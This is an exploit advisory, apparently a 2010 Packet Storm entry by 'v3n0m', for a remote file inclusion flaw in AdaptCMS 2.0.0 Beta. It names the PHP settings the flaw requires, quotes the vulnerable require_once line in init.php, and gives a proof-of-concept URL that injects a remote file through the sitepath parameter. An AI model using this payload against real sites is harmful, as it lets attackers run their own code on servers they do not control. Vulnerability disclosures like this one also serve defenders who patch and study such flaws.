AdaptCMS 2.0.0 Beta Remote File Inclusion

2010-06-25T00:00:00
ID PACKETSTORM:91022
Type packetstorm
Reporter v3n0m
Modified 2010-06-25T00:00:00

Description

                                        
                                            ` ) ) ) ( ( ( ( ( ) )   
( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /(   
)\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\())  
((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\   
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_)) _((_)_ ((_)  
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \| \| __| _ \ | |_ _|| \| | |/ /   
\ V / (_) || (_ |\ V / / _ \ | (__ / _ \ | /| |) | _|| / |__ | | | .` | ' <   
|_| \___/ \___| |_| /_/ \_\ \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\  
.WEB.ID  
-----------------------------------------------------------------------  
AdaptCMS 2.0.0 Beta (init.php) Remote File Inclusion Vulnerability  
-----------------------------------------------------------------------  
Author : v3n0m  
Site : http://yogyacarderlink.web.id/  
Date : June, 24-2010  
Location : Jakarta, Indonesia  
Time Zone : GMT +7:00  
----------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : AdaptCMS  
Vendor : http://www.adaptcms.com/  
License : Free  
Download : http://sourceforge.net/projects/adaptcms/files/  
----------------------------------------------------------------  
  
- register_globals = on  
- allow_url_include = on  
  
Vuln Code:  
~~~~~~~  
  
[-] /init.php  
  
require_once($sitepath.'inc/smarty/libs/Smarty.class.php'); // line 10  
  
Poc:  
~~~~~~~  
  
http://127.0.0.1/[path]/inc/smarty/libs/init.php?sitepath=http://localhost/jovita.txt??  
  
----------------------------------------------------------------  
  
WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com  
  
---------------------------[EOF]--------------------------------  
`